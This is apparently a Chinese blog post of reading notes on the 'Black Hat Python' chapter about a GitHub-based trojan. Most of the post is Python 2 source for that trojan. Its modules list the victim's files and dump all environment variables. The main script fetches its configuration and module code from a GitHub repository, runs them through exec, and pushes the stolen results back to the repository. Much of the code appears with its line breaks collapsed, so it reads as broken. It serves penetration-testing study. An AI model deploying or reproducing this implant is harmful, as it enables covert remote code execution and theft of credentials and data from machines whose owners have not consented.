目录

  • 前言
    • 1、github的配置
    • 2、创建模块
    • 3、木马配置
    • 4、编写基于github通信的木马
  • 结语

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第7章基于github的木马

1、github的配置

如下命令,搭建一个chapter7项目

2、创建模块

在modules目录下创建一个dirlister.py列举当前目录下的所有文件

#!/usr/bin/env python
#-*- coding:utf8 -*-import osdef run(**args):print "[*] In dirlister module."# 列出当前目录的所有文件,并作为字符串返回files = os.listdir(".")return str(files)

一个environment.py获取木马所在远程机器上的所有环境变量

#!/usr/bin/env python
#-*- coding:utf8 -*-import osdef run(**args):print "[*] In environment module."# 返回当前系统的环境变量,这里就是远程被控机器的环境变量return str(os.environ)

推送代码

3、木马配置

在config目录下创建一个json文件作为配置

[{"module":"dirlister"},{"module":"environment"}
]

同样推送

4、编写基于github通信的木马

该木马从github上下载配置选项和运行的模块代码

#!/usr/bin/env python
#-*- coding:utf8 -*-import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import osfrom github3 import logintrojan_id = "abc" #这个id唯一标示了木马trojan_config = "%s.json" % trojan_id
data_path = "chapter7/data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()# 通过账号密码连接到github,获取repo和branch,注意真实环境需要混淆和访问控制
def connect_to_github():gh = login(username="你的账号", password="你的密码")repo = gh.repository("你的账号,同上面的账号", "python-hacker-code(仓库名)")branch = repo.branch("master")return gh,repo,branch# 从远程仓库中获取文件
def get_file_contents(filepath):gh, repo, branch = connect_to_github()tree = branch.commit.commit.tree.recurse()for filename in tree.tree:if filepath in filename.path:print "[*] Found file %s" % filepathblob = repo.blob(filename._json_data['sha'])return blob.contentreturn None# 获取木马的配置文件,并导入模块
def get_trojan_config():global configuredconfig_json = get_file_contents(trojan_config)config  = json.loads(base64.b64decode(config_json))configured = Truefor task in config:if task['module'] not in sys.modules:exec("import %s" % task['module'])return config# 将从目标主机收集到的数据推送到仓库中
def store_module_result(data):gh, repo, branch = connect_to_github()remote_path = "chapter7/data/%s/%d.data" % (trojan_id, random.randint(10,10000000))repo.create_file(remote_path,"Commit message",base64.b64encode(data))returndef module_runner(module):# 将1加入到队列中task_queue.put(1)result = sys.modules[module].run(a=1,b=2,c=3)# 从队列中移除task_queue.get()# 保存结果到我们的仓库中store_module_result(result)return# 创建定制的加载类
class GitImporter(object):def __init__(self):self.current_module_code = ""# 尝试获取模块所在位置def find_module(self, fullname, path=None):if configured:print "[*] Attempting to retrieve %s" % fullname# 调用之前的远程文件加载器new_library = get_file_contents("chapter7/modules/%s" % fullname)# 解密并保存文件内容if new_library is not None:self.current_module_code = base64.b64decode(new_library)# 返回self变量,告诉python解析器找到了所需的模块return selfreturn None# 完成模块的实际加载过程def load_module(self, name):# 创建一个空的模块对象module = imp.new_module(name)# 将github中获得的代码导入的这个对象中exec self.current_module_code in module.__dict__# 最后将这个新建的模块添加到sys.modules列表里面sys.modules[name] = modulereturn module# 添加自定义的模块导入器
sys.meta_path = [GitImporter()]
# 木马循环
while True:if task_queue.empty():# 获取木马配置文件config = get_trojan_config()for task in config:# 对每个模块单独建立线程t = threading.Thread(target=module_runner, args=(task['module'],))t.start()time.sleep(random.randint(1,10))time.sleep(random.randint(1000,10000))

结语

一个简单的基于github的木马

《Python黑帽子:黑客与渗透测试编程之道》读书笔记(六):基于github的木马相关推荐

  1. Python黑帽子--黑客与渗透测试编程之道 python3 实现代码

    最近在看 Python黑帽子–黑客与渗透测试编程之道 这本书 发现这本书的代码实现都是使用python2 的于是我就想使用python3来实现 缓慢更新中 python2版本 有一个博主写的特别好 这 ...

  2. Python黑帽子 黑客与渗透测试编程之道(七) 第四章:Scapy:网络的掌控者

    1 窃取Email认证 代码: from scapy.all import *def packet_callback(packet):if packet[TCP].payload:mail_packe ...

  3. Python黑帽子-黑客与渗透测试编程之道

    Python黑帽子-黑客与渗透测试编程之道 时间:2018年4月28日 前言 本文参考了两篇资料,优化补全了代码内容 giantbranch 的 Python黑帽子–黑客与渗透测试编程之道 意闲 的 ...

  4. 关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

    本篇文章是学习<Python黑帽子:黑客与渗透测试编程之道>的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了 ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(三):scapy——网络的掌控者

    目录 前言 1.窃取email认证 2.ARP缓存投毒 3.PCAP文件处理 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码,并自己将其中一些改写成P ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(九):自动化攻击取证

    目录 前言 1.Volatility配置 2.抓取口令的哈希值 3.直接代码注入 4.插入shellcode 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书 ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(二):原始套接字和流量嗅探

    目录 前言 1.Windows和Linux上的包嗅探 2.解码IP层 3.解码ICMP层 4.发现主机 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码 ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(四):web攻击

    目录 前言 1.urllib2 2.开源web应用安装 3.破解目录和文件位置 4.破解HTML表格认证 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源 ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》读书笔记(五):扩展burp代理

    目录 前言 1.burp的fuzz脚本 2.burp中利用Bing服务 3.利用网站内容生成密码字典 结语 前言 <Python黑帽子:黑客与渗透测试编程之道>的读书笔记,会包括书中源码, ...

  10. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

最新文章

  1. SDUT2608(Alice and Bob)
  2. linux内核 extern,Linux内核之_attribute_
  3. git全局ignore
  4. Dbus的编译和安装
  5. Ext JS 4.1 RC2 Released发布
  6. STL_set/vector/deque
  7. element-ui 分页索引问题
  8. Laravel 队列发送邮件
  9. tidb mysql主从复制_如何配置MySQL数据库主从复制
  10. BGP线路机柜值得你考虑的几点因素-新乡BGP机柜
  11. UPDATE INNER JOIN 两表联合更新
  12. 功能强大的pdf控件,用户无需安装任何软件即可使用
  13. resnet网络结构图
  14. OPNsense用户手册-缓存代理
  15. linux 运行有道词典,ubuntu安装有道词典的教程详解
  16. 优先队列优化迪杰斯特拉
  17. mysql datasource.url_DataSource配置
  18. HTML多画面同时播放,视频两个画面同时播放,两个视频放在同一画面|视频左右或上下两个画面...
  19. 20200509 Curator入门
  20. 计算机专业考研要分最低的院校,计算机考研院校难度排行榜

热门文章

  1. 微型计算机原理偏移地址,微机原理及应用复习
  2. 计算机网络工程综合布线目的,浅谈网络工程综合布线系统
  3. 免费获取谷歌翻译api(Google Translate API)
  4. Android开发入门案例
  5. 服务器延迟和时间偏移怎么设置,服务器时间经常不对如何处理
  6. 数据挖掘导论思维导图
  7. 描述计算机病毒来源的几种代表性看法,关于计算机病毒的起源
  8. KITTI数据集评估方法小结
  9. 6m缓存和8m缓存差距_R5 3600和R5 3600X性能差距大吗?Ryzen5 3600和3600X区别对比评测(转)...
  10. c语言编程能力提高,C语言编程能力的培养